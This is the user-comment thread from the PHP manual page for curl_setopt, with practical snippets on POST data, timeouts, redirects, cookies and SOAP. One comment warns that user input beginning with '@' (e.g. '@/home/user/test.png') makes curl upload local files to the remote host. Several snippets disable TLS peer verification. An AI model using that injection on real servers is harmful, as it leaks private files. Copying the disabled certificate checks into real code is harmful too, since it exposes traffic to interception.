You may supply an array, but there may not be any sub-arrays in this array, as this will give Array-to-string-conversion notice.

Example:

<?php
$ch = curl_init();

# this works
$data = array('name' => 'value');

# this gives "Notice: Array to string conversion..."
$data = array('name' => array('subname' => 'subvalue'));

curl_setopt($ch, CURLOPT_URL, 'http://localhost/test.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

curl_exec($ch);
?>
v dot tverdun at gmail dot com 16-Feb-2012 04:00
Make sure to set keys for array if passing to CURLOPT_POSTFIELDS.

<?php
//This can cause errors
$data = array('bar');

//Use this instead
$data = array('foo' => 'bar');

curl_setopt(CURLOPT_POSTFIELDS, $data);
?>
Tim Severien 30-Jan-2012 11:51
I've been stuck when using the CURLOPT_CONNECTTIMEOUT_MS constant. In fact, on my PHP version (5.3.1) it's not a number but rather a string. Same thing for CURLOPT_TIMEOUT_MS.

I got this error: Warning: curl_setopt() expects parameter 2 to be long, string given

If you are experiencing simular problems, you can replace the constant with the actual number or (re)define the constant.

CURLOPT_TIMEOUT_MS should be 155
CURLOPT_CONNECTTIMEOUT_MS should be 156

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2500); // error
curl_setopt($ch, 156, 2500); // problem solved
Adam Monsen 10-Jan-2012 04:36
CURLOPT_POST must be left unset if you want the Content-Type header set to "multipart/form-data" (e.g., when CURLOPT_POSTFIELDS is an array). If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to TRUE, Content-Length will be -1 and most sane servers will reject the request. If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to FALSE, cURL will send a GET request.
Steve Kamerman 24-Jun-2011 11:47
If you want cURL to timeout in less than one second, you can use CURLOPT_TIMEOUT_MS, although there is a bug/"feature"  on "Unix-like systems" that causes libcurl to timeout immediately if the value is < 1000 ms with the error "cURL Error (28): Timeout was reached".  The explanation for this behavior is:

"If libcurl is built to use the standard system name resolver, that portion of the transfer will still use full-second resolution for timeouts with a minimum timeout allowed of one second."

What this means to PHP developers is "You can use this function without testing it first, because you can't tell if libcurl is using the standard system name resolver (but you can be pretty sure it is)"

The problem is that on (Li|U)nix, when libcurl uses the standard name resolver, a SIGALRM is raised during name resolution which libcurl thinks is the timeout alarm.

The solution is to disable signals using CURLOPT_NOSIGNAL.  Here's an example script that requests itself causing a 10-second delay so you can test timeouts:

<?php
if (!isset($_GET['foo'])) {
        // Client
        $ch = curl_init('http://localhost/test/test_timeout.php?foo=bar');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
        $data = curl_exec($ch);
        $curl_errno = curl_errno($ch);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_errno > 0) {
                echo "cURL Error ($curl_errno): $curl_error\n";
        } else {
                echo "Data received: $data\n";
        }
} else {
        // Server
        sleep(10);
        echo "Done.";
}
?>
PHP at RHaworth dot net 02-Apr-2011 02:31
When CURLOPT_FOLLOWLOCATION and CURLOPT_HEADER are both true and redirect/s have happened then the header returned by curl_exec() will contain all the headers in the redirect chain in the order they were encountered.
support at lostair dot com 07-Mar-2011 03:26
Force Curl Request To Go To A Particular IP Address

Yes, there is a method of passing an IP address to curl.  Excellent for services with multiple IP addresses and also to take DNS out of the equation for testing/debugging.

<?php
    function fetch_page($url, $host_ip = NULL)
    {

      $ch = curl_init();

      if (!is_null($host_ip))
      {
        $urldata = parse_url($url);

        //  Ensure we have the query too, if there is any...
        if (!empty($urldata['query']))
          $urldata['path'] .= "?".$urldata['query'];

        //  Specify the host (name) we want to fetch...
        $headers = array("Host: ".$urldata['host']);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        //  create the connecting url (with the hostname replaced by IP)
        $url = $urldata['scheme']."://".$host_ip.$urldata['path'];
      }

      curl_setopt($ch,  CURLOPT_URL, $url);
      curl_setopt ($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch,  CURLOPT_RETURNTRANSFER, true);

      $result = curl_exec ($ch);
      curl_close ($ch);

      return $result;
    }
?>
S\ 18-Feb-2011 11:04
When using CURLOPT_POSTFIELDS with an array as parameter, you have to pay high attention to user input. Unvalidated user input will lead to serious security issues.

<?php

/**
 * test.php:
 */
$ch = curl_init('http://example.com');

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'foo' => $_GET['bar']
));

curl_exec($ch);

?>

Requesting "test.php?bar=@/home/user/test.png" will send "test.png" to example.com.
Make sure you remove the leading "@" from user input.
W at RHaworth dot net 04-Feb-2011 04:22
I had problems with the Wikimedia software and sending a POST request where the data was more than 1024 bytes long. I traced this to cURL adding: Expect: 100-continue to the headers.

I added curl_setopt($ch,CURLOPT_HTTPHEADER,array("Expect:")); and that suppresses the Expect line.
zsalab 27-Jan-2011 05:12
Handling redirections with curl if safe_mode or open_basedir is enabled. The function working transparent, no problem with header and returntransfer options. You can handle the max redirection with the optional second argument (the function is set the variable to zero if max redirection exceeded).
Second parameter values:
- maxredirect is null or not set: redirect maximum five time, after raise PHP warning
- maxredirect is greather then zero: no raiser error, but parameter variable set to zero
- maxredirect is less or equal zero: no follow redirections

<?php
function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
    $mr = $maxredirect === null ? 5 : intval($maxredirect);
    if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $mr > 0);
        curl_setopt($ch, CURLOPT_MAXREDIRS, $mr);
    } else {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        if ($mr > 0) {
            $newurl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

            $rch = curl_copy_handle($ch);
            curl_setopt($rch, CURLOPT_HEADER, true);
            curl_setopt($rch, CURLOPT_NOBODY, true);
            curl_setopt($rch, CURLOPT_FORBID_REUSE, false);
            curl_setopt($rch, CURLOPT_RETURNTRANSFER, true);
            do {
                curl_setopt($rch, CURLOPT_URL, $newurl);
                $header = curl_exec($rch);
                if (curl_errno($rch)) {
                    $code = 0;
                } else {
                    $code = curl_getinfo($rch, CURLINFO_HTTP_CODE);
                    if ($code == 301 || $code == 302) {
                        preg_match('/Location:(.*?)\n/', $header, $matches);
                        $newurl = trim(array_pop($matches));
                    } else {
                        $code = 0;
                    }
                }
            } while ($code && --$mr);
            curl_close($rch);
            if (!$mr) {
                if ($maxredirect === null) {
                    trigger_error('Too many redirects. When following redirects, libcurl hit the maximum amount.', E_USER_WARNING);
                } else {
                    $maxredirect = 0;
                }
                return false;
            }
            curl_setopt($ch, CURLOPT_URL, $newurl);
        }
    }
    return curl_exec($ch);
}
?>
gskluzacek at gmail dot com 26-Jan-2011 01:42
FYI... unless you specifically set the user agent, no user agent will be sent in your request as there is no default value like some of the other options.

As others have said, not sending a user agent may cause you to not  get the results that you expected, e.g., 0 byte length content, different content, etc.
john dot david dot steele at gmail dot com 03-Dec-2010 01:03
A note on the way Curl posts files...

<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@/path/to/file.ext');
?>

will post the FULL PATH of the file in the filename field:

Content-Disposition: form-data; name="file"; filename="/path/to/file.ext"

Whereas typical browser behavior only sends the filename:

Content-Disposition: form-data; name="file"; filename="file.ext"

Workaround:
<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@file.ext');
  $cwd = getcwd();
  chdir('/path/to/');
  $receivedData = curl_exec($ch);
  chdir($cwd);
?>
scy-phpmanual at scytale dot name 29-Nov-2010 04:01
In order to reset CURLOPT_HTTPHEADER, set it to array(). The cURL C API says you should set it to NULL, but that doesn't work in the PHP wrapper.
prohfesor at gmail dot com 02-Nov-2010 01:30
This function helps to parse netscape cookie file, generated by cURL into cookie array:

<?php
  function _curl_parse_cookiefile($file) {
    $aCookies = array();
    $aLines = file($file);
    foreach($aLines as $line){
      if('#'==$line{0})
        continue;
      $arr = explode("\t", $line);
      if(isset($arr[5]) && isset($arr[6]))
        $aCookies[$arr[5]] = $arr[6];
    }

    return $aCookies;
  }
?>
kavih7 at yahoo dot com 23-Sep-2010 08:59
When POSTing with cURL, my POSTs were magically being converted to GETs and I debugged it until finding the issue. I was setting the CURLOPT_MUTE option. Not sure why this conflicts, since the documentation doesn't specify as such. Anyways, if your $_POST is empty, make sure you aren't setting CURLOPT_MUTE.

Cheers!
sam at def dot reyssi dot net 28-Jul-2010 03:43
Be careful when setting the CURLOPT_POSTFIELDS setting using an array. The array used to set the POST fields must only contain scalar values. Multidimentional arrays or objects lacking a __toString implementation will cause Curl to error.

If there is a need to send non-scalar values using a POST request, consider serializing them before transmission.

<?php
$ch = curl_init('http://host.example.com');

// Data to post
$multiDimensional = array(
   'name' = 'foo',
   'data' = array(1,2,3,4),
   'value' = 'bar'
);

// Will error
curl_setopt($ch, CURLOPT_POSTFIELDS, $multiDimensional);

// Data to post
$postData = array(
  'name' = 'foo',
  'data' = serialize(array(1,2,3,4)),
  'value' = 'bar'
);

// Will not error
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
?>
joeterranova at gmail dot com 26-Jul-2010 12:57
It appears that setting CURLOPT_FILE before setting CURLOPT_RETURNTRANSFER doesn't work, presumably because CURLOPT_FILE depends on CURLOPT_RETURNTRANSFER being set.

So do this:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FILE, $fp);
?>

not this:

<?php
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
?>
patryk at do dot not dot spam dot com 05-Jul-2010 05:33
CURLOPT_HTTPPROXYTUNNEL means curl will use CONNECT method of the HTTP protocol to make a tunnel through a proxy, which is most likely not the one you want to do.
JScott jscott401 at gmail dot com 18-Jun-2010 07:29
Some additional notes for curlopt_writefunction. I struggled with this at first because it really isn't documented very well.

When you write a callback function and use it with curlopt_writefunction it will be called MULTIPLE times. Your function MUST return the ammount of data written to it each time. It is very picky about this. Here is a snippet from my code that may help you

<?php
curl_setopt($this->curl_handle, CURLOPT_WRITEFUNCTION, array($this, "receiveResponse"));

// later on in the class I wrote my receive Response method

private function receiveResponse($curlHandle,$xmldata)
                {
                        $this->responseString = $xmldata;
                        $this->responseXML .=  $this->responseString;
                        $this->length = strlen($xmldata);
                        $this->size += $this->length;
                        return $this->length;

                }
?>

Now I did this for a class. If you aren't doing OOP then you will obviously need to modify this for your own use.

CURL calls your script MULTIPLE times because the data will not always be sent all at once. Were talking internet here so its broken up into packets. You need to take your data and concatenate it all together until it is all written. I was about to pull my damn hair out because I would get broken chunks of XML back from the server and at random lengths. I finally figured out what was going on. Hope this helps
obones_remove_me at free dot fr 27-Apr-2010 03:27
For those of you wondering how to specify the content-type for a file uploaded via curl, the syntax is as follows:

<?php

$data = array('file' => '@/home/user/test.png;type=image/png');

?>

Simply adding a semicolon with the type= at the end.
Note that this has been reported not to work in all versions of PHP and I have done the following tests:

5.2.6 (libcurl 7.18.2) : Does not work
5.2.13 (libcurl 7.20.0) : Works just fine

So it might be worth updating your installation of PHP and/or libcurl if you want to be able to use this syntax
sjungwirth at google mail dot com 22-Apr-2010 03:11
I couldn't find a way to force a curl request to go to a particular IP address, but you can do it with fsockopen:
<?php
    $ip = '123.45.67.89';
    $fp = fsockopen($ip, 80, $errno, $errstr, 5);
    $result = '';
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET /path/to/the/file.ext HTTP/1.1\r\n";
        $out .= "Host: www.exampl.com\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);
        while (!feof($fp)) {
            $result .= fgets($fp, 128);
        }
        fclose($fp);
    }
?>
I needed it to test the response from a set of servers behind a load balancer.
clint at fewbar dot com 16-Apr-2010 02:56
If you have turned on conditional gets on a curl handle, and then for a subsequent request, you don't have a good setting for CURLOPT_TIMEVALUE , you can disable If-Modified-Since checking with:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $foo);
curl_setopt($ch, CURLOPT_TIMEVALUE, filemtime($foo_path));
curl_setopt($ch, CURLOPT_TIMECONDITION, CURLOPT_TIMECOND_IFMODIFIEDSINCE);
curl_exec($ch);
// Reuse same curl handle
curl_setopt($ch, CURLOPT_URL, $bar);
curl_setopt($ch, CURLOPT_TIMEVALUE, null); // don't know mtime
curl_setopt($ch, CURLOPT_TIMECONDITION, 0); // set it to 0, turns it off
curl_exec($ch);

?>
julien veneziano 08-Apr-2010 03:56
If you need to send deta in a DELETE request, use:

<?php
$request_body = 'some data';
$ch = curl_init('http://www.example.com');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        $response = curl_exec($ch);
var_dump($response);
?>
anderseta at gmail dot com 22-Mar-2010 02:48
If you wish to find the size of the file you are streaming and use it as your header this is how:

<?php

function write_function($curl_resource, $string)
{
    if(curl_getinfo($curl_resource, CURLINFO_SIZE_DOWNLOAD) <= 2000)
    {
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Description: File Transfer');
        header("Content-Transfer-Encoding: binary");
        header("Content-Type: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_TYPE)."");
        header("Content-Length: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    }

    print $string;

    return mb_strlen($string, '8bit');
}

?>

1440 is the the default number of bytes curl will call the write function (BUFFERSIZE does not affect this, i actually think you can not change this value), so it means the headers are going to be set only one time.

write_function must return the exact number of bytes of the string, so you can return a value with mb_strlen.
starosielec at googlemail dot com 19-Feb-2010 03:07
You can use also use object methods as callback functions. This is usefull if your curl ressource is part of an object handling transfers.
Instead of curl_setopt($curl, CURLOPT_WRITEFUNCTION, "curl_handler_recv") you can use array($object, "method") as value for callback options.

For example:

<?php
class downloader {
    private $curl;

    function __construct() {
        $this->curl = curl_init();
        curl_setopt($this->curl, CURLOPT_WRITEFUNCTION, array($this, "curl_handler_recv"));
    }

     function curl_handler_recv($res, $data) {
      //...
     }
   //...
}
?>
Ed Cradock 05-Feb-2010 10:47
PUT requests are very simple, just make sure to specify a content-length header and set post fields as a string.

Example:

<?php
function doPut($url, $fields)
{
   $fields = (is_array($fields)) ? http_build_query($fields) : $fields;

   if($ch = curl_init($url))
   {
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
      curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
      curl_exec($ch);

      $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

      curl_close($ch);

      return (int) $status;
   }
   else
   {
      return false;
   }
}

if(doPut('http://example.com/api/a/b/c', array('foo' => 'bar')) == 200)
   // do something
else
   // do something else.
?>

You can grab the request data on the other side with:

<?php
if($_SERVER['REQUEST_METHOD'] == 'PUT')
{
   parse_str(file_get_contents('php://input'), $requestData);

   // Array ( [foo] => bar )
   print_r($requestData);

   // Do something with data...
}
?>

DELETE  can be done in exactly the same way.
Pawel Antczak 09-Dec-2009 12:07
Hello.
During problems with "CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set"
I was looking for solution.
I've found few methods on this page, but none of them was good enough, so I made one.
<?php
function curl_redirect_exec($ch, &$redirects, $curlopt_header = false) {
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        list($header) = explode("\r\n\r\n", $data, 2);
        $matches = array();
        preg_match('/(Location:|URI:)(.*?)\n/', $header, $matches);
        $url = trim(array_pop($matches));
        $url_parsed = parse_url($url);
        if (isset($url_parsed)) {
            curl_setopt($ch, CURLOPT_URL, $url);
            $redirects++;
            return curl_redirect_exec($ch, $redirects);
        }
    }
    if ($curlopt_header)
        return $data;
    else {
        list(,$body) = explode("\r\n\r\n", $data, 2);
        return $body;
    }
}
?>

Main issue in existing functions was lack of information, how many redirects was done.
This one will count it.
First parameter as usual.
Second should be already initialized integer, it will be incremented by number of done redirects.
You can set CURLOPT_HEADER if You need it.
Chris at PureFormSolutions dot com 22-Sep-2009 03:54
I've found that setting CURLOPT_HTTPHEADER more than once will clear out any headers you've set previously with CURLOPT_HTTPHEADER.

Consider the following:
<?php
    # ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Content-Type: text/xml; CHARSET=shift-jis",
        "Expect: 100-continue"
    ));

    # ... do some other stuff ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Accept: application/json"
    ));

    # ...
?>

Both the Content-Type and Expect I set will not be in the outgoing headers, but Accept will.
Stan van de Burgt 19-Sep-2009 02:41
If you get a "failed creating formpost data" upon curl_exec() when POSTing a form, check if one of the field values starts with the @ character.

Took me an hour or so to find out as I wanted to post a @reply tweet to twitter which typically start with @screenname.
Tyranoweb 04-Sep-2009 02:42
There is a function to send POST data in page with five parameters :

$post must be an array
$page is the page where POST datas will be send.
$n must be true to continue if they are php redirection (Location: )
$session must be define true if you want to use cookies
$referer must be a link to get a wrong referer or only to have a referer.

<?php
function curl_data_post($post, $page, $n, $session, $referer)
    {
        if(!is_array($post))
        {
         return false;
        }

        $DATA_POST = curl_init();
        curl_setopt($DATA_POST, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($DATA_POST, CURLOPT_URL, $page);
        curl_setopt($DATA_POST, CURLOPT_POST, true);
        if($n)
        {
         curl_setopt($DATA_POST, CURLOPT_FOLLOWLOCATION, true);
        }
        if($session)
        {
         curl_setopt($DATA_POST, CURLOPT_COOKIEFILE, 'cookiefile.txt');
         curl_setopt($DATA_POST, CURLOPT_COOKIEJAR, 'cookiefile.txt');
        }

        if($referer)
        {
         curl_setopt($DATA_POST, CURLOPT_REFERER, $referer);
        }

        curl_setopt($DATA_POST, CURLOPT_POSTFIELDS, $post);
        $data = curl_exec($DATA_POST);
        if($data == false)
        {
         echo'Warning : ' . curl_error($DATA_POST);
         curl_close($DATA_POST);
         return false;
        }
        else
        {
         curl_close($DATA_POST);
         return $data;
        }
    }
?>
rob 23-Aug-2009 09:07
Whats not mentioned in the documentation is that you have to set CURLOPT_COOKIEJAR to a file for the CURL handle to actually use cookies, if it is not set then cookies will not be parsed.
Sylvain R 28-Jul-2009 03:05
When you are using CURLOPT_FILE to download directly into a file you must close the file handler after the curl_close() otherwise the file will be incomplete and you will not be able to use it until the end of the execution of the php process.

<?php

$fh = fopen('/tmp/foo', 'w');
$ch = curl_init('http://example.com/foo');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);

# at this point your file is not complete and corrupted

fclose($fh);

# now you can use your file;

read_file('/tmp/foo');

?>
Victor Jerlin 03-Jul-2009 04:12
Seems like some options not mentioned on this page, but listed on http://curl.haxx.se/libcurl/c/curl_easy_setopt.html is actually supported.

I was happy to see that I could actually use CURLOPT_FTP_CREATE_MISSING_DIRS even from PHP.
xektrum at gmail dot com 02-Jul-2009 09:14
As of php 5.3 CURLOPT_PROGRESSFUNCTION its supported here's how:

<?php

function callback($download_size, $downloaded, $upload_size, $uploaded)
{
    // do your progress stuff here
}

$ch = curl_init('http://www.example.com');

// This is required to curl give us some progress
// if this is not set to false the progress function never
// gets called
curl_setopt($ch, CURLOPT_NOPROGRESS, false);

// Set up the callback
curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'callback');

// Big buffer less progress info/callbacks
// Small buffer more progress info/callbacks
curl_setopt($ch, CURLOPT_BUFFERSIZE, 128);

$data = curl_exec($ch);

?>

Hope this help.
Andrew 14-Jun-2009 04:56
I noticed that if you want to get current cookie file after curl_exec() - you need to close current curl handle (like it said in manual), but if you want cookies to be dumped to file after any curl_exec (without curl_close) you can:

<?php
#call it normally
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
$result1 = curl_exec($ch);

#and then  make a temp copy
$ch_temp=curl_copy_handle(ch);
curl_close($ch);
$ch=$ch_temp;
?>

Only this way, if you close $ch_temp - cookies wont be dumped.
ericbianchetti at gmail dot com 04-Jun-2009 03:06
if you need to send a SOAP string that is the CURL you must use :

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, XML_POST_URL);
curl_setopt ($ch, CURLOPT_HTTPHEADER, array('SOAPAction: ""'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, XML_PAYLOAD);
curl_setopt($ch, CURLOPT_HEADER, 0);

$output = curl_exec($ch);
?>

Note : Having based my snipet on Chemo demonstration (oscommerce user know who he is), XML_POST_URL and XML_PAYLOAD where defined as constant with define().

The point is : at the opposite of .xml , SOAP must send the header 'SOAPAction: ""' that can be a valid URI, an empty string (that is here) or nothing ('SOAPAction: '). The later case baing not accepted by all server, the second one indicating the target is the URI used to post the SOAP.
http://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528
ashooner - - gmail , com 22-Mar-2009 03:28
When passing CURLOPT_POSTFIELDS a url-encoded string in order to use Content-Type: application/x-www-form-urlencoded, you can pass a string directly:
<?php
curl_setopt(CURLOPT_POSTFIELDS, 'field1=value&field2=value2');
?>

rather than passing the string in an array, as in fred at themancan dot com's example.
urkle at outoforder dot cc 28-Jan-2009 06:49
To send a post as a different content-type (ie.. application/json or text/xml) add this setopt call

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-Type: application/json'));
?>
fnjordy at gmail dot com 30-Nov-2008 11:28
Note that CURLOPT_RETURNTRANSFER when used with CURLOPT_WRITEFUNCTION has effectively three settings: default, true, and false.

default - callbacks will be called as expected.
true - content will be returned but callback function will not be called.
false - content will be output and callback function will not be called.

Note that CURLOPT_HEADERFUNCTION callbacks are always called.
saidk at phirebranding dot com 19-Nov-2008 01:31
Passing in PHP's $_SESSION into your cURL call:

<?php
session_start();
$strCookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/';
session_write_close();

$curl_handle = curl_init('enter_external_url_here');
curl_setopt( $curl_handle, CURLOPT_COOKIE, $strCookie );
curl_exec($curl_handle);
curl_close($curl_handle);
?>

This worked great for me.  I was calling pages from the same server and needed to keep the $_SESSION variables.  This passes them over.  If you want to test, just print_r($_SESSION);

Enjoy!
OPALA 26-Sep-2008 12:37
To fetch (or submit data to) multiple pages during one session,use this:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIE, session_name() . '=' . session_id());
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page1.php');
$result1 = curl_exec($ch);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page2.php');
$result2 = curl_exec($ch);

curl_close($ch);
?>
w dot danford at electronics-software dot com 12-Aug-2008 10:12
Just a small detail I too easily overlooked.
<?php
/*  If you set:  */
curl_setopt ($ch, CURLOPT_POST, 1);
/* then you must have the data: */
curl_setopt ($ch, CURLOPT_POSTFIELDS, $PostData);
?>
I found with only the CURLOPT_POST set (from copy, paste editing of course) cookies were not getting sent with CURLOPT_COOKIE.  Just something subtle to watch out for.
fred at themancan dot com 05-Aug-2008 04:28
To find what encoding a given HTTP POST request uses is easy -- passing an array to CURLOPT_POSTFIELDS results in  multipart/form-data:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1' => 'value'));
?>

Passing a URL-encoded string will result in application/x-www-form-urlencoded:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1=value&field2=value2'));
?>

I ran across this when integrating with both a warehouse system and an email system; neither would accept multipart/form-data, but both happily accepted application/x-www-form-urlencoded.
jID 05-Aug-2008 04:56
if you use
<?php
curl_setopt($ch, CURLOPT_INTERFACE, "XXX.XXX.XXX.XXX");
?>
to specify IP adress for request, sometimes you need to get list of all your IP's.

ifconfig command will output something like:

rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    options=8<VLAN_MTU>
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    ether XX:XX:XX:XX:XX:XX
    media: Ethernet autoselect (100baseTX <full-duplex>)
    status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 564
tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 565
    Opened by PID 565

My solution for FreeBSD 6 and PHP 5 was:
<?php
  ob_start();
  $ips=array();
  $ifconfig=system("ifconfig");
  echo $ifconfig;
  $ifconfig=ob_get_contents();
  ob_end_clean();
  $ifconfig=explode(chr(10), $ifconfig);
  for ($i=0; $i<count($ifconfig); $i++) {
    $t=explode(" ", $ifconfig[$i]);
    if ($t[0]=="\tinet") {
      array_push($ips, $t[1]);
    }
  }
  for ($i=0; $i<count($ips); $i++) {
    echo $ips[$i]."\n";
  }
?>

You will get list of IP adresses in $ips array, like:
82.146.XXX.XXX
78.24.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
78.24.XXX.XXX
78.24.XXX.XXX
ac at an dot y-co dot de 10-Jul-2008 10:08
If you want to connect to a server which requires that you identify yourself with a certificate, use following code. Your certificate and servers certificate are signed by an authority whose certificate is in ca.ctr.

<?php
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '2');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1');
curl_setopt($ch, CURLOPT_CAINFO,  getcwd().'/cert/ca.crt');
curl_setopt($ch, CURLOPT_SSLCERT, getcwd().'/cert/mycert.pem');
curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'password');
?>

If your original certificate is in .pfx format, you have to convert it to .pem using following commands
# openssl pkcs12 -in mycert.pfx -out mycert.key
# openssl rsa -in mycert.key -out mycert.pem
# openssl x509 -in mycert.key >> mycert.pem
Salil Kothadia 19-Jun-2008 09:02
In PHP5, for the "CURLOPT_POSTFIELDS" option, we can use:

<?php
$ch = curl_init($URI);
$Post = http_build_query($PostData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $Post);
$Output = curl_exec($ch);
curl_close($ch);
?>
sgamon at yahoo dot com 09-Apr-2008 05:55
If you are doing a POST, and the content length is 1,025 or greater, then curl exploits a feature of http 1.1: 100 (Continue) Status.

See http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.2.3

* it adds a header, "Expect: 100-continue".
* it then sends the request head, waits for a 100 response code, then sends the content

Not all web servers support this though.  Various errors are returned depending on the server.  If this happens to you, suppress the "Expect" header with this command:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>

See http://www.gnegg.ch/2007/02/the-return-of-except-100-continue/
c00lways at gmail dot com 04-Mar-2008 01:16
if you would like to send xml request to a server (lets say, making a soap proxy),
you have to set

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
?>

makesure you watch for cache issue:
the below code will prevent cache...

<?php
curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
?>

hope it helps ;)
mavook at gmail dot com 15-Feb-2008 10:26
If you try to upload file to a server, you need do CURLOPT_POST first and then fill CURLOPT_POSTFIELDS.

<?php
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars);
// ^^ This will post multipart/form-data
?>
jade dot skaggs at gmail dot com 07-Jan-2008 09:48
After much struggling, I managed to get a SOAP request requiring HTTP authentication to work.  Here's some source that will hopefully be useful to others.

         <?php

         $credentials = "username:password";

         // Read the XML to send to the Web Service
         $request_file = "./SampleRequest.xml";
        $fh = fopen($request_file, 'r');
        $xml_data = fread($fh, filesize($request_file));
        fclose($fh);

        $url = "http://www.example.com/services/calculation";
        $page = "/services/calculation";
